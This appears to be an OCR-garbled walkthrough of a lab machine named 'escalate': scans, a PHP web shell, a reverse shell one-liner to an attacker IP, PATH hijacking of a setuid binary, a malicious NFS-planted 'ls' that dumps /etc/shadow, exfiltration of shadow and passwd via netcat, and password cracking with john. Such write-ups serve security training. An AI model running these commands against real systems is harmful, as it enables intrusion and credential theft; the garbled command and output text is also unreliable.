escalate linux

dirb scan

```
root@kali:~/scripts# dirb http://escalate
DIRB v2.22
By The Dark Raver
START TIME: Tue Feb 11 03:07:21 2020
URL_BASE: http://escalate/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
---- Scanning URL: http://escalate/ ----
+ http://escalate/index.html (CODE:200|SIZE:10918)
+ http://escalate/server-status (CODE:403|SIZE:296)
END_TIME: Tue Feb 11 03:07:23 2020
DOWNLOADED: 4612 - FOUND: 2
root@kali:~/scripts#
```

nmap scan

```
root@kali:~/scripts# nmap -A -sT escalate
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-11 03:08 EST
Nmap scan report for escalate (10.0.2.21)
Host is up (0.00039s latency).
Not shown: 995 closed ports
PORT
        STATE SERVICE
                          VERSION
                         Apache httpd 2.4.29 ((Ubuntu))
80/tcp
        open http
http-server-header: Apache/2.4.29 (Ubuntu)
http-title: Apache2 Ubuntu Default Page: It works
111/tcp open rpcbind 2-4 (RPC #100000)
 rpcinfo:
                     port/proto
                                 service
   program version
                        111/tcp
                                 rpcbind
   100000 2,3,4
                       111/udp
   100000 2,3,4
                                 rpcbind
                        111/tcp6
   100000 3,4
                                 rpcbind
   100000 3,4
                       111/udp6
                                 rpcbind
                                 nfs
                       2049/udp
   100003
   100003 3
                      2049/udp6
                                 nfs
                       2049/tcp
   100003 3,4
                                 nfs
   100003 3,4
                      2049/tcp6
                                 nfs
   100005 1,2,3
                      35115/udp6
                                 mountd
   100005 1,2,3
                      39435/tcp6
                                 mountd
   100005 1,2,3
                      44767/tcp
                                 mountd
   100005 1,2,3
                      48838/udp
                                 mountd
                      34863/tcp
   100021 1,3,4
                                 nlockmgr
   100021 1,3,4
                      39009/tcp6 nlockmgr
   100021 1,3,4
                      39265/udp
                                 nlockmgr
   100021 1,3,4
                      39879/udp6 nlockmgr
   100227 3
100227 3
                      2049/tcp
                                 nfs acl
                      2049/tcp6 nfs_acl
   100227 3
                                 nfs acl
                       2049/udp
                       2049/udp6 nfs acl
   100227 3
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs acl 3 (RPC #100227)
MAC Address: 08:00:27:FC:04:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX
```

```
lost script results:
 clock-skew: mean: 1h40m01s, deviation: 2h53m12s, median: 1s
 nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
 smb-os-discovery:
   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
   Computer name: osboxes
   NetBIOS computer name: LINUX\x00
   Domain name: \x00
   FQDN: osboxes
 smb-security-mode:
   account_used: guest
   authentication_level: user
   challenge_response: supported
   message_signing: disabled (dangerous, but default)
 smb2-security-mode:
     Message signing enabled but not required
 smb2-time
   date: 2020-02-11T08:08:20
   start date: N/A
RACEROUTE
           ADDRESS
IOP RTT
   0.39 ms escalate (10.0.2.21)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
map done: 1 IP address (1 host up) scanned in 13.94 seconds
```

Initial foothold

Encoding reverse shell payload



• escalate/shell.php?cmd=id

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uid=1005(user6) gid=1005(user6) groups=1005(user6) /*pass cmd as get parameter*/

php -r '\$sock=fsockopen("10.0.2.15",4444):exec("/bin/sh -i <&3 >&3 2>&3");'

```
from readelf we could basically, program set uid and gid to 0 and execute command as root
user6 / | home | user5 readelf -r ./script
Relocation section '.rela.dyn' at offset 0x458 contains 8 entries:
                                                 Sym. Value
                                                               Sym. Name + Addend
 Offset
000000200da8 000000000008 R_X86_64_RELATIVE
                                                                 6d0
000000200db0
              000000000008 R X86 64 RELATIVE
                                                                 690
201008
000000200fd8
              000100000006 R X86 64 GLOB DAT 00000000000000 ITM deregisterTMClone + 0
000000200fe0
              000300000006 R_X86_64_GLOB_DAT 00000000000000 __libc_start_main@GLIBC_2.2.5 + 0
              000400000006 R X86_64_GLOB_DAT 000000000000000 __gmon_start__ + 0
000000200fe8
000000200ff0 000600000006 R X86_64 GLOB_DAT 00000000000000 ITM registerTMCloneTa + 0
000000200ff8
              000800000006 R X86 64 GLOB DAT 00000000000000 cxa finalize@GLIBC 2.2.5 + 0
Relocation section '.rela.plt' at offset 0x518 contains 3 entries:
                                                Sym. Value Sym. Name + Addend
 Offset
                                 Type
000000200fc0 000200000007 R_X86_64_JUMP_SLO 000000000000000 system@GLIBC_2.2.5 + 0 000000200fc8 000500000007 R_X86_64_JUMP_SLO 000000000000000 setgid@GLIBC_2.2.5 + 0
000000200fd0 000700000007 R X86 64 JUMP SLO 00000000000000 setuid@GLIBC 2.2.5 + 0
```

Itrace confirms our suspicion

```
user5 ltrace ./script
 stem("ls"Desktop Documents Downloads Music Pictures
                                                Public Templates Videos ls script
   SIGCHLD (Child exited) ---
   system resumed> )
     ited (status 0)
as it doesnt specify the full path, we can modify our PATH where the system looks for binary and execute
commands as root
                                   echo $PATH
 user6
                          user5
                 home |
               sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 user6
                          user5
modifying system path
                                  echo $PATH
 user6
                         user5
                home |
 :/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                         user5
 user6
                home
On attacker machine, user5 home directory is mountable
 oot@kali:~/scripts# showmount -e escalate
Export list for escalate:
 home/user5 *
 oot@kali:~/scripts#
mount user5 directory locally
           i:~/scripts# mount -t nfs escalate:/home/user5 user5
Is file in user directory includes malicious command that reads shadow files
 'oot@kali:~/scripts/user5# cat ls
id
whoami
cat /etc/shadow
 oot@kali:~/scripts/user5#
confirmed that we can run programs as root
id=O(root) gid=O(root) groups=O(root),1005(user
       jgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF515ZDANRTKyvcHQwSqSxX51A7n22kjEkQhSP6Uq7cPaYfzPSmgATW9cwD1:18050:0:99999:7
filtering only username and hashes
```

cat shadow.txt

tmp

user6

```
tmp tail -n 49 shadow.txt | tee shadow.txt
 user6
transferring file from victim to attacking machine to crack passwords
                     cat shadow.txt | nc 10.0.2.15 4445
 user6
              tmp
              tmp
                    cat /etc/passwd | nc 10.0.2.15 4445
 user6
root@kali:/tmp# lsf | grep txt
-rw-r--r-- 1 root root 2.6K Feb 11 04:45 passwd.txt
-rw-r--r-- 1 root root 2.3K Feb 11 04:44 shadow.txt
 oot@kali:/tmp#
unshadow password file before cracking
oot@kali:/tmp# unshadow passwd.txt shadow.txt | tee unshadow.txt
password cracked
root@kali:/tmp# john -w:/usr/share/wordlists/rockyou.txt unshadow.txt
Using default input encoding: UTF-8
Loaded 10 password hashes with 10 different salts (sha512crypt, crypt
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
confirmed that we are able to escalate privileges to root
 user6
            | tmp su root
Password:
Welcome to Linux Lite 4.4
You are running in <mark>superuser</mark> mode, be very careful.
Tuesday 11 February 2020, 04:48:47
Memory Usage: 327/985MB (33.20%)
Disk Usage: 5/217GB (3%)
 root /
               tmp
```